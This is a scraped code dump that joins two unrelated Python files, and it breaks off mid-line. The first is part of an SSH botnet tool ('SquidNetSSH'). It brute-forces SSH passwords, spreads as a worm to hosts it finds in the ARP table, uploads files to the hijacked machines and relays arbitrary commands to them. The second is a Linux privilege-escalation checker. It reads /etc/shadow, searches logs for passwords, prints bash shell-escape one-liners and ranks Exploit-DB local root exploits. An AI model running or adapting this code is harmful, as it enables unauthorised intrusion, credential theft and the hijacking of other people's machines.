[ip] [username] - Attempts to break into the hostname with the ip provided. [+] !inject [filename] - Opens SFTP and uploads a file to the bots. [+] !networkinfect [cfg] - Attempts to infect all the devices on the network(optional cfg file) [+] !clear - Clears all of the output of this script. [+] Any other commands will be sent to the bots as cmd commands. """) def configure_passwords(self): file = open(self.pass_list,'r') passwords = file.readlines() return passwords def infect(self, ip, username): error_count = 0 print(f"[+] Brute Forcing the Password for: {username}@{ip}") client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) flag = 0 for password in self.passwords: try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) passw = password.strip() client.connect(ip, 22, username, passw, timeout=2, auth_timeout=2) print(f"\n[!] {ip}'s Password has been found!: {passw}") print(f"[!] Adding {username}@{ip} to the botnet.\n") self.ips.append(ip) self.display_bots.append(f"{username}@{ip}") self.ssh_bots.append(client) self.ssh_botlist.append(str(client)+' '+str(username)) flag = 1 break except Exception as e: client.close() if flag == 0: print(f"[?] Unable to Brute Force password for {username}@{ip}") def inject(self, client, file): if "/" in file or "\\" in file: result = "" for letter in file: if letter == "/" or letter == "\\": result += " " else: result += letter split_result = result.split() file = split_result[(len(split_result)-1)] file_dir = "" for item in split_result: if item == file: pass else: file_dir = file_dir + item + "/" os.chdir(file_dir) for usernames in self.ssh_botlist: if str(client) in usernames: split_item = usernames.split() username = split_item[4] try: sftp = client.open_sftp() sftp.put(file, f'C:/{username}/{file}') except: sftp = client.open_sftp() sftp.put(file, f'/Users/{username}/{file}') os.chdir(self.cwd) def send_instruction(self, instruction): for bot in self.ssh_bots: try: if self.capture_output: for usernames in self.ssh_botlist: if str(bot) in usernames: split_item = usernames.split() username = split_item[4] stdin, stdout, stderr = bot.exec_command(instruction, get_pty=True) stdin.close() output = stdout.read().decode() if output.strip() == "": pass else: print(f"\n[({username})]: {output.strip()}") else: bot.exec_command(instruction) except: pass def reg_login(self, ip, username, password): try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print(f"[+] Attempting to login to {username}@{ip} with: {password}") client.connect(ip, 22, username, password) print(f"\n[!] Access Granted!") print(f"[!] Adding {username}@{ip} to the Botnet.\n") self.ssh_bots.append(client) self.ssh_botlist.append(str(client) + ' ' + str(username)) self.display_bots.append(f"{username}@{ip}") except Exception as e: print("[+] Authentication Failed. Try to check your inputs.") def network_infect(self, config_file=None): if config_file != None: Replicator = Worm(self.pass_list, config_file) else: Replicator = Worm(self.pass_list) def instruct(self): while True: try: self.instruction = input("[+] Enter your instruction: ") if self.instruction.startswith("!infect"): msg_split = self.instruction.split() targ_ip = msg_split[1] user = msg_split[2] infector = threading.Thread(target=self.infect, args=(targ_ip, user)) infector.start() elif self.instruction.startswith("!inject"): msg_split = self.instruction.split() filename = msg_split[1] for bot in self.ssh_bots: injector = threading.Thread(target=self.inject, args=(bot, filename)) injector.start() elif self.instruction.startswith("!listbots"): print(f"[+] List of Bots: {self.display_bots}") elif self.instruction.startswith("!networkinfect"): msg_split = self.instruction.split() try: cfg_file = msg_split[1] network_infector = threading.Thread(target=self.network_infect, args=(cfg_file,)) network_infector.start() except: network_infector = threading.Thread(target=self.network_infect) network_infector.start() elif self.instruction.startswith("!clear"): if sys.platform == "win32": os.system('cls') else: os.system('clear') self.logo() self.usage() elif self.instruction.startswith("!login"): msg_split = self.instruction.split() ip = msg_split[1] username = msg_split[2] password = msg_split[3] self.reg_login(ip,username,password) elif self.instruction.startswith("!help"): self.usage() else: sender = threading.Thread(target=self.send_instruction, args=(self.instruction,)) sender.start() except: pass class Worm: def __init__(self, passw_file,cfg_file=None): self.cfg_file = cfg_file self.has_cfg = False if self.cfg_file != None: self.cfg_contents, self.ls_contents = self.cfg(self.cfg_file) self.os_ls = ['windows','apple','linux'] self.ips = os.popen('arp -a').readlines() self.possiblevictims = self.identify_victims() self.passwords_cracked = 0 self.passwords_scanned = 0 self.passw_file = passw_file self.victims = [] self.ips_scanned = 0 print(f"\n[+] List of Possible Hosts: {self.possiblevictims}") print("[+] Initiating Port Scan.....") self.passwords = self.obtain_passw() self.port_scanner = threading.Thread(target=self.begin_port_scan) self.port_scanner.start() def cfg(self, filename): file = open(filename, "r") contents = file.read() file.close() file = open(filename, "r") ls_contents = file.readlines() file.close() if "CFGFORWORM" in contents: self.has_cfg = True print("[+] A Config file has been provided.") return contents, ls_contents else: return None def initiate_threads(self): self.laster = threading.Thread(target=self.output_item) self.laster.start() while True: try: if self.ips_scanned == len(self.possiblevictims): if len(self.victims) == 0: print("\n[+] No Hosts with Port 22 Open.") else: for ip in self.victims: if self.has_cfg: if ip in self.cfg_contents: if ip not in self.victims: print(f"[+] {ip} is in config file, but not in victim list.\n[+] Ignoring.........") else: for line in self.ls_contents: if ip in line: try: ipcfg = line.split() try: username = ipcfg[1] except: username = "root" except: pass else: username = "root" else: username = "root" victim = threading.Thread(target=self.victimlogin, args=(ip, username)) victim.start() break except: pass def begin_port_scan(self): for ip in self.possiblevictims: try: print(f"\n[+] Scanning {ip}.....") portscanner = threading.Thread(target=self.port_scan, args=(ip,)) portscanner.start() except: pass self.initiate_threads() def port_scan(self, ip): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 22)) self.victims.append(ip) print(f"\n[!] {ip} has 22 as an open Port.") except: print(f"\n[+] {ip} does not have 22 as an open port.") s.close() self.ips_scanned += 1 def obtain_passw(self): with open(self.passw_file, "r") as file: passwords = file.readlines() return passwords def identify_victims(self): victims = [] if sys.platform == "win32": for lines in self.ips: try: line = lines.split() ip = line[0] checker = int(ip[0]) victims.append(ip) except: pass elif sys.platform == "darwin": for lines in self.ips: try: line = lines.split() ip = line[1] ip = ip.strip('()') checker = int(ip[0]) victims.append(ip) except: pass return victims def output_item(self): while True: try: if self.passwords_scanned == len(self.victims): break except: pass def victimlogin(self, ip, username="root"): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print(f"[+] Attempting to Brute Force Password for IP: {ip}") flag = 0 for password in self.passwords: try: password = password.strip() client.connect(ip, 22, username, password) flag = 1 break except: pass if flag == 1: self.passwords_scanned += 1 print(f"\n[!] {ip}'s Password has been Cracked!: {password}") print(f"[!] Adding {username}@{ip} to the Botnet.\n") Botnet.ssh_bots.append(client) Botnet.ssh_botlist.append(str(client) + ' ' + str(username)) Botnet.display_bots.append(f"{username}@{ip}") else: print(f"\n[?] {ip}'s Password was unable to be cracked.") self.passwords_scanned += 1 class OptionParse: def __init__(self): if len(sys.argv) < 2: self.usage() else: self.get_args() def usage(self): SSH_Botnet.logo(None) print(""" [+] Option-Parsing Help: [+] --pL, --passlist - Specifies the Brute Forcing TxT File. [+] --cO, --captopt - Specify whether to capture bot output or not. [+] --i, --info - Shows this message. [+] Usage:""") if sys.argv[0].endswith(".py"): print("[+] python3 SquidNetSSH.py --pL <passlist> --cO <bool>") print("[+] python3 SquidNetSSH.py --i") else: print("[+] SquidNetSSH --pL <passlist> --cO <bool>") print("[+] SquidNetSSH --i") def get_args(self): self.opts = OptionParser() self.opts.add_option("--pL","--passlist",dest="passlist") self.opts.add_option("--cO", "--captopt", dest="captopt", action="store_true") self.opts.add_option("--i","--info",dest="info",action="store_true") args, opt = self.opts.parse_args() if args.passlist is None: self.usage() else: passlist = args.passlist if args.captopt is None: captopt = False else: captopt = True Botnet = SSH_Botnet(passlist, captopt) optionparser = OptionParse()
43.387187
173
0.443517
Advanced-Infrastructure-Penetration-Testing
#!/usr/env python ############################################################################################################### ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift ##------------------------------------------------------------------------------------------------------------- ## [Details]: ## This script is intended to be executed locally on a Linux box to enumerate basic system info and ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text ## passwords and applicable exploits. ##------------------------------------------------------------------------------------------------------------- ## [Warning]: ## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates, ## I did not write it to be efficient and in some cases you may find the functions may not produce the desired ## results. For example, the function that links packages to running processes is based on keywords and will ## not always be accurate. Also, the exploit list included in this function will need to be updated over time. ## Feel free to change or improve it any way you see fit. ##------------------------------------------------------------------------------------------------------------- ## [Modification, Distribution, and Attribution]: ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original ## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's ## worth anything anyway :) ############################################################################################################### # conditional import for older versions of python not compatible with subprocess try: import subprocess as sub compatmode = 0 # newer version of python, no need for compatibility mode except ImportError: import os # older version of python, need to use os instead compatmode = 1 # title / formatting bigline = "=================================================================================================" smlline = "-------------------------------------------------------------------------------------------------" print bigline print "LINUX PRIVILEGE ESCALATION CHECKER" print bigline print # loop through dictionary, execute the commands, store the results, return updated dict def execCmd(cmdDict): for item in cmdDict: cmd = cmdDict[item]["cmd"] if compatmode == 0: # newer version of python, use preferred subprocess out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() results = out.split('\n') else: # older version of python, use os.popen echo_stdout = os.popen(cmd, 'r') results = echo_stdout.read().split('\n') cmdDict[item]["results"]=results return cmdDict # print results for each previously executed command, no return value def printResults(cmdDict): for item in cmdDict: msg = cmdDict[item]["msg"] results = cmdDict[item]["results"] print "[+] " + msg for result in results: if result.strip() != "": print " " + result.strip() print return def writeResults(msg, results): f = open("privcheckout.txt", "a"); f.write("[+] " + str(len(results)-1) + " " + msg) for result in results: if result.strip() != "": f.write(" " + result.strip()) f.close() return # Basic system info print "[*] GETTING BASIC SYSTEM INFO...\n" results=[] sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} } sysInfo = execCmd(sysInfo) printResults(sysInfo) # Networking Info print "[*] GETTING NETWORKING INFO...\n" netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results} } netInfo = execCmd(netInfo) printResults(netInfo) # File System Info print "[*] GETTING FILESYSTEM INFO...\n" driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} } driveInfo = execCmd(driveInfo) printResults(driveInfo) # Scheduled Cron Jobs cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} } cronInfo = execCmd(cronInfo) printResults(cronInfo) # User Info print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, "ID":{"cmd":"id","msg":"Current User ID", "results":results}, "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} } userInfo = execCmd(userInfo) printResults(userInfo) if "root" in userInfo["ID"]["results"][0]: print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" # File/Directory Privs print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} } fdPerms = execCmd(fdPerms) printResults(fdPerms) pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} } pwdFiles = execCmd(pwdFiles) printResults(pwdFiles) # Processes and Applications print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian else: getPkgs = "rpm -qa | sort -u" # RH/other getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} } getAppProc = execCmd(getAppProc) printResults(getAppProc) # comment to reduce output otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} } otherApps = execCmd(otherApps) printResults(otherApps) print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" # find the package information for the processes currently running # under root or another super user procs = getAppProc["PROCS"]["results"] pkgs = getAppProc["PKGS"]["results"] supusers = userInfo["SUPUSERS"]["results"] procdict = {} # dictionary to hold the processes running as super users for proc in procs: # loop through each process relatedpkgs = [] # list to hold the packages related to a process try: for user in supusers: # loop through the known super users if (user != "") and (user in proc): # if the process is being run by a super user procname = proc.split(" ")[4] # grab the process name if "/" in procname: splitname = procname.split("/") procname = splitname[len(splitname)-1] for pkg in pkgs: # loop through the packages if not len(procname) < 3: # name too short to get reliable package results if procname in pkg: if procname in procdict: relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list if pkg not in relatedpkgs: relatedpkgs.append(pkg) # add pkg to the list procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry except: pass for key in procdict: print " " + key # print the process name try: if not procdict[key][0] == "": # only print the rest if related packages were found print " Possible Related Packages: " for entry in procdict[key]: print " " + entry # print each related package except: pass # EXPLOIT ENUMERATION # First discover the avaialable tools print print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} devTools = execCmd(devTools) printResults(devTools) print "[+] Related Shell Escape Sequences...\n" escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} for cmd in escapeCmd: for result in devTools["TOOLS"]["results"]: if cmd in result: for item in escapeCmd[cmd]: print " " + cmd + "-->\t" + item print print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, } # variable declaration os = sysInfo["OS"]["results"][0] version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] langs = devTools["TOOLS"]["results"] procs = getAppProc["PROCS"]["results"] kernel = str(sysInfo["KERNEL"]["results"][0]) mount = driveInfo["MOUNT"]["results"] #pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future # lists to hold ranked, applicable sploits # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks # all applicable exploits should be checked and this function could probably use some improvement avgprob = [] highprob = [] for sploit in sploits: lang = 0 # use to rank applicability of sploits keyword = sploits[sploit]["keywords"]["val"] sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] # first check for kernell applicability if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): # next check language applicability if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): lang = 1 # language found, increase applicability score elif sploits[sploit]["lang"] == "sh": lang 